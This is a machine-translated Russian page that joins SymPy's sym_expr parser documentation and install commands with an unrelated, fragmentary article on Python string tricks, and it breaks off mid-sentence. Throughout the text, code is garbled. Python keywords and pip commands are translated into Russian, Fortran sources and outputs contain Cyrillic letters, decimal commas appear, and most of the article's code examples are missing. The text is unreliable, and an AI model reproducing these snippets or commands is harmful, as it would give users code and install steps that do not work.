    ΠœΠΎΠ΄ΡƒΠ»ΡŒ ΠΈ Π΅Π³ΠΎ API Π² настоящСС врСмя находятся Π² стадии Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ экспСримСнтирования.
    ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.

    ΠŸΠ°Ρ€ΡΠ΅Ρ€ Fortran Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ числовыС присваивания, поэтому всС
    ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½ΡƒΠ»Π΅ΠΌ.

    ΠœΠΎΠ΄ΡƒΠ»ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ зависит ΠΎΡ‚ Π²Π½Π΅ΡˆΠ½ΠΈΡ… зависимостСй:

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π·Π±ΠΎΡ€Π° C ΠΊΠΎΠ΄Π°:

     >>> ΠΎΡ‚ sympy.parsing.sym_expr import SymPyExpression
    >>> src = '' '
    ... int a, b;
    ... float c = 2, d = 4;
    ... '' '
    >>> a = SymPyExpression (src, 'c')
    >>> a.return_expr ()
    [ОбъявлСниС (пСрСмСнная (a, type = intc)),
    ОбъявлСниС (пСрСмСнная (b, type = intc)),
    ОбъявлСниС (пСрСмСнная (c, type = float32, value = 2.0)),
    ОбъявлСниС (Variable (d, type = float32, value = 4.0))]
     

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€ опрСдСлСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ:

     >>> ΠΎΡ‚ sympy.parsing.sym_expr import SymPyExpression
    >>> src2 = '' '
    ... Ρ†Π΅Π»ΠΎΠ΅ число :: a, b, c, d
    ... вСщСствСнноС :: p, q, r, s
    ... '' '
    >>> p = SymPyExpression ()
    >>> p.convert_to_expr (src2, 'f')
    >>> p.convert_to_c ()
    ['int a = 0', 'int b = 0', 'int c = 0', 'int d = 0', 'double p = 0.0', 'double q = 0.0', 'double r = 0.0', 'double s = 0,0']
     

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€ присвоСния:

     >>> ΠΈΠ· sympy.parsing.sym_expr import SymPyExpression
    >>> src3 = '' '
    ... Ρ†Π΅Π»ΠΎΠ΅ число :: a, b, c, d, e
    ... d = a + b - c
    ... С = Ь * д + с * С / а
    ... '' '
    >>> p = SymPyExpression (src3, 'f')
    >>> p.convert_to_python ()
    ['a = 0', 'b = 0', 'c = 0', 'd = 0', 'e = 0', 'd = a + b - c', 'e = b * d + c * e / a ']
     

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€ опрСдСлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:

     >>> ΠΈΠ· sympy.parsing.sym_expr import SymPyExpression
    >>> src = '' '
    ... цСлочислСнная функция f (a, b)
    ... Ρ†Π΅Π»ΠΎΠ΅ число, Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ (Π²Ρ…ΠΎΠ΄) :: a, b
    ... integer :: r
    ... конСчная функция
    ... '' '
    >>> a = SymPyExpression (src, 'f')
    >>> a.convert_to_python ()
    ['def f (a, b): \ n f = 0 \ n r = 0 \ n return f']
     
    convert_to_c () [источник]

    Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список с исходным ΠΊΠΎΠ΄ΠΎΠΌ c для симпозиумных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΈΠ· sympy.parsing.sym_expr import SymPyExpression
    >>> src2 = '' '
    ... Ρ†Π΅Π»ΠΎΠ΅ число :: a, b, c, d
    ... вСщСствСнноС :: p, q, r, s
    ... c = a / b
    ... d = c / a
    ... s = p / q
    ... Π³ = Π΄ / Ρ€
    ... '' '
    >>> p = SymPyExpression ()
    >>> p.convert_to_expr (src2, 'f')
    >>> p.convert_to_c ()
    ['int a = 0', 'int b = 0', 'int c = 0', 'int d = 0', 'double p = 0.0', 'double q = 0.0', 'double r = 0.0', 'double s = 0.0', 'c = a / b;', 'd = c / a;', 's = p / q;', 'r = q / p;']
     
    convert_to_expr ( src_code , mode ) [источник]

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ исходный ΠΊΠΎΠ΄ Π² выраТСния sympy

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΎΡ‚ sympy.parsing.sym_expr import SymPyExpression
    >>> src3 = '' '
    ... цСлочислСнная функция f (a, b) result (r)
    ... Ρ†Π΅Π»ΠΎΠ΅ число, Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ (Π²Ρ…ΠΎΠ΄) :: a, b
    ... Ρ†Π΅Π»ΠΎΠ΅ число :: x
    ... r = a + b -x
    ... конСчная функция
    ... '' '
    >>> p = SymPyExpression ()
    >>> p.convert_to_expr (src3, 'f')
    >>> p.return_expr ()
    [FunctionDefinition (integer, name = f, parameters = (Variable (a), Variable (b)), body = CodeBlock (
    ОбъявлСниС (пСрСмСнная (r, Ρ‚ΠΈΠΏ = Ρ†Π΅Π»ΠΎΠ΅ число, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ = 0)),
    ОбъявлСниС (пСрСмСнная (x, Ρ‚ΠΈΠΏ = Ρ†Π΅Π»ΠΎΠ΅ число, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ = 0)),
    ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ (ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ (r), a + b - x),
    Π’ΠΎΠ·Π²Ρ€Π°Ρ‚ (пСрСмСнная (r))
    ))]
     

    Атрибуты

    src_code

    (строка) исходный ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ имя Ρ„Π°ΠΉΠ»Π° исходного ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ

    Ρ€Π΅ΠΆΠΈΠΌ: строка

    Ρ€Π΅ΠΆΠΈΠΌ опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ парсСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² соотвСтствии с языком исходного ΠΊΠΎΠ΄Π° f ΠΈΠ»ΠΈ F для Fortran c ΠΈΠ»ΠΈ C для C / C ++

    convert_to_fortran () [источник]

    Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список с исходным ΠΊΠΎΠ΄ΠΎΠΌ fortran для симпозиумных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΎΡ‚ sympy.parsing.sym_expr import SymPyExpression
    >>> src2 = '' '
    ... Ρ†Π΅Π»ΠΎΠ΅ число :: a, b, c, d
    ... вСщСствСнноС :: p, q, r, s
    ... c = a / b
    ... d = c / a
    ... s = p / q
    ... Π³ = Π΄ / Ρ€
    ... '' '
    >>> p = SymPyExpression (src2, 'f')
    >>> p.convert_to_fortran ()
    ['integer * 4 a', 'integer * 4 b', 'integer * 4 c', 'integer * 4 d', 'real * 8 p', 'real * 8 q', 'real * 8 r', 'real * 8 s', 'c = a / b', 'd = c / a', 's = p / q', 'r = q / p']
     
    convert_to_python () [источник]

    Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список с ΠΊΠΎΠ΄ΠΎΠΌ Python для симпозиумных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΎΡ‚ sympy.parsing.sym_expr import SymPyExpression
    >>> src2 = '' '
    ... Ρ†Π΅Π»ΠΎΠ΅ число :: a, b, c, d
    ... вСщСствСнноС :: p, q, r, s
    ... c = a / b
    ... d = c / a
    ... s = p / q
    ... Π³ = Π΄ / Ρ€
    ... '' '
    >>> p = SymPyExpression (src2, 'f')
    >>> p.convert_to_python ()
    ['a = 0', 'b = 0', 'c = 0', 'd = 0', 'p = 0,0', 'q = 0,0', 'r = 0,0', 's = 0,0', ' c = a / b ',' d = c / a ',' s = p / q ',' r = q / p ']
     
    return_expr () [источник]

    Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

     >>> ΠΎΡ‚ sympy.parsing.sym_expr import SymPyExpression
    >>> src3 = '' '
    ... цСлочислСнная функция f (a, b)
    ... Ρ†Π΅Π»ΠΎΠ΅ число, Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ (Π²Ρ…ΠΎΠ΄) :: a, b
    ... Ρ†Π΅Π»ΠΎΠ΅ число :: r
    ... Π³ = Π° + Π¬
    ... f = r
    ... конСчная функция
    ... '' '
    >>> p = SymPyExpression ()
    >>> p.convert_to_expr (src3, 'f')
    >>> p.return_expr ()
    [FunctionDefinition (integer, name = f, parameters = (Variable (a), Variable (b)), body = CodeBlock (
    ОбъявлСниС (пСрСмСнная (f, Ρ‚ΠΈΠΏ = Ρ†Π΅Π»ΠΎΠ΅ число, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ = 0)),
    ОбъявлСниС (пСрСмСнная (r, Ρ‚ΠΈΠΏ = Ρ†Π΅Π»ΠΎΠ΅ число, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ = 0)),
    ΠŸΡ€ΠΈΡΠ²ΠΎΠ΅Π½ΠΈΠ΅ (пСрСмСнная (f), пСрСмСнная (r)),
    Π’ΠΎΠ·Π²Ρ€Π°Ρ‚ (пСрСмСнная (f))
    ))]
     

    Установка срСды выполнСния

    ΠŸΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ Π² настоящСС врСмя сСрвСр синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π° LaTeX частично сгСнСрирован с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ
    ANTLR4,
    Π½ΠΎ для использования парсСра Π²Π°ΠΌ понадобится Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ Python antlr4 .

    Π’ зависимости ΠΎΡ‚ вашСго ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ
    Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, pip3 (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Python 3):

     $ pip3 ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ antlr4-python3-runtime
     

    ΠΈΠ»ΠΈ pip (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Python 2):

     $ pip ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ antlr4-python2-runtime
     

    ΠΈΠ»ΠΈ conda (Python 2 ΠΈΠ»ΠΈ Python 3):

     $ conda install --channel = conda-forge antlr-python-runtime
     

    БинтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ C зависит ΠΎΡ‚ clang , Π° синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Fortran зависит ΠΎΡ‚ LFortran .Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ эти ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ:

     $ conda install -c conda-forge lfortran clang
     

    10 Ρ‚Ρ€ΡŽΠΊΠΎΠ² ΠΈ сцСнариСв Python для прСобразования ΠΈ Π΄Π΅ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ строк | ПавСл Π₯орбонос (Midvel Corp)

    1. ΠŸΠ΅Ρ€Π΅Π²Π΅ΡΡ‚ΠΈ ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ

    ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ случай - Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ символы ΠΈΠ»ΠΈ подстроки ΠΈΠ· тСкста. Python ΠΈΠΌΠ΅Π΅Ρ‚ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ string , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ.

    translate () ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠ°Ρ€Ρ‚Ρƒ символов для удалСния ΠΈΠ»ΠΈ измСнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… символов:

    И replace () Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΊΠ°ΠΊ слСдуСт ΠΈΠ· названия - ΠΏΡƒΡ‚Π΅ΠΌ измСнСния подстроки Π½Π° ΠΆΠ΅Π»Π°Π΅ΠΌΡƒΡŽ:

    2.ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° строки

    Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ знания ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° для очистки строки. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ вострСбованных процСссов Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ ΠΏΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… Π²ΠΎ врСмя очистки Π΄Π°Π½Π½Ρ‹Ρ… - ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ - Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ тСкст с ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ символами ΠΈ пСрСносами строк. Π’ΠΎΡ‚ простой скрипт для очистки Ρ‚Π°ΠΊΠΎΠΉ строки:

    3. Π Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅ ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ

    Анализ тСкста Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ количСство слов, количСство символов, срСдняя Π΄Π»ΠΈΠ½Π° прСдлоТСния. Π§Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ эти значСния, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ тСкст - ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ.К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ для нас, Π² Python Π΅ΡΡ‚ΡŒ нСсколько встроСнных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для раздСлСния тСкста:

    • Π Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ символа ΠΏΡ€ΠΎΠ±Π΅Π»Π°:
     test_string.split () Out [1]: ['The', 'quick', ' ΠΊΠΎΡ€ΠΈΡ‡Π½Π΅Π²Ρ‹ΠΉ Β»,Β« лиса Β»,Β« ΠΏΡ€Ρ‹Π³Π°Π΅Ρ‚ Β»,Β« Π·Π° Β»,Β« Π»Π΅Π½ΠΈΠ²Ρ‹ΠΉ Β»,Β« собака Β»] 
    • Π Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ количСство Ρ‚ΠΎΠΊΠ΅Π½ΠΎΠ²:
     test_string.split ('', 2) Out [2]: ['The', 'quick', 'бурая лиса ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³ΠΈΠ²Π°Π΅Ρ‚ Ρ‡Π΅Ρ€Π΅Π· Π»Π΅Π½ΠΈΠ²ΡƒΡŽ собаку'] 
    • ΠžΠ±Ρ€Π°Ρ‚Π½ΠΎΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ строки:
     test_string.rsplit ('', 2) Out [3]: ['Быстрая коричнСвая лисица ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³ΠΈΠ²Π°Π΅Ρ‚ Ρ‡Π΅Ρ€Π΅Π·', 'Π»Π΅Π½ΠΈΠ²Ρ‹ΠΉ', 'собака'] 
    • Π Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ символом (ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ):
     test_string.split ('e') Out [4]: ​​['Th', 'quick brown fox jumps ov', 'r the lazy dog'] 
    • Π Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅ строку Π½Π° ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ‚ΠΎΠΊΠ΅Π½, с Ρ‚ΠΎΠΊΠ΅Π½Π°ΠΌΠΈ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈ послС Π½Π΅Π³ΠΎ:
     test_string.partition ('fox') Out [5]: ('Быстрая коричнСвая', 'лиса', 'ΠΏΡ€Ρ‹Π³Π°Π΅Ρ‚ Ρ‡Π΅Ρ€Π΅Π· Π»Π΅Π½ΠΈΠ²ΡƒΡŽ собаку') 

    4. ЗачиститС ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅

    Π•Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ Π²Π°ΠΆΠ½ΠΎΠ΅ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ - Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ лишниС Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ символы ΠΈΠ· строки.Для этого Ρƒ нас Π΅ΡΡ‚ΡŒ сСмСйство Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ strip () :

    • Π’Ρ‹Ρ€Π΅Π·Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.
    • Π’Ρ‹Ρ€Π΅ΠΆΡŒΡ‚Π΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠΈ слСва ΠΈΠ»ΠΈ справа.
    • Π’Ρ‹Ρ€Π΅Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ символы.

    ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΅ΡΡ‚ΡŒ полСзная функция для заполнСния чисСл Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌΠΈ нулями:

    5. ДСконструкция ΠΈ воссозданиС

    Для создания тСкста трСбуСтся построСниС ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ Ρ„Ρ€Π°Π· ΠΈΠ· словаря слов. Как процСсс, это ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΡŽ строки. Python позволяСт Π½Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ встроСнный строковый ΠΌΠ΅Ρ‚ΠΎΠ΄ join () для объСдинСния слов ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅:

    6.Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ Π·Π½Π°ΠΊΠΎΠ² прСпинания

    Π­Ρ‚ΠΎ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования Π² Π½Π°Π±ΠΎΡ€Π΅ инструмСнтов для очистки тСкста. ΠœΠΎΠ΄ΡƒΠ»ΡŒ Python string ΠΈΠΌΠ΅Π΅Ρ‚ мноТСство встроСнных констант с ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ символов. string.punctuation - ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ…, поэтому ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для очистки строки.

    7. Π Π°Π±ΠΎΡ‚Π° с кСйсами

    Π€ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста - ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ спСциалиста ΠΏΠΎ Π΄Π°Π½Π½Ρ‹ΠΌ. Π‘Π»ΠΎΠ²Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠ°Π΄Π΅ΠΆΠ΅ΠΉ, ΠΈ прСдлоТСния Π² Ρ€Π°Π·Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… ΡΠΎΠ·Π΄Π°ΡŽΡ‚ массу ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΈ очисткС Π΄Π°Π½Π½Ρ‹Ρ….Однако для этих Π·Π°Π΄Π°Ρ‡ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Python:

    8. ΠœΠΈΡ€ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ

    Иногда очистку тСкста Π½Π΅Π»Π΅Π³ΠΊΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… символов ΠΈΠ»ΠΈ Ρ„Ρ€Π°Π·. ВмСсто этого Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹. Π­Ρ‚ΠΎ идСальноС ΠΏΠΎΠ»Π΅ для использования рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ подходящСго модуля Python.

    ΠœΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Ρ‚ΡŒ всю ΠΌΠΎΡ‰ΡŒ рСгулярного выраТСния, Π° сосрСдоточимся Π½Π° Π΅Π³ΠΎ прилоТСниях - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠΈ ΠΈ Π·Π°ΠΌΠ΅Π½Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Π”Π°, эти Π·Π°Π΄Π°Ρ‡ΠΈ описаны Π²Ρ‹ΡˆΠ΅, Π½ΠΎ Π²ΠΎΡ‚ Π±ΠΎΠ»Π΅Π΅ мощная Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°.

    Π Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ:

    Π—Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ:

    9. Π’ΠΎΠΊΠ΅Π½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку

    ΠŸΡ€ΠΈΡˆΠ»ΠΎ врСмя ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ всС ΡƒΠ»ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡƒΠ·Π½Π°Π»ΠΈ Ρ€Π°Π½Π΅Π΅, ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ… для Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΠΊΠ΅Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ. Однако ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒ вСсь ΠΊΠΎΠ΄. Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ довольно ΠΊΡ€ΡƒΡ‚ΠΎΠΉ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ с использованиСм ΠΏΠ°Π½Π΄ ΠΈ . Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ строку ΠΎΡ‚ 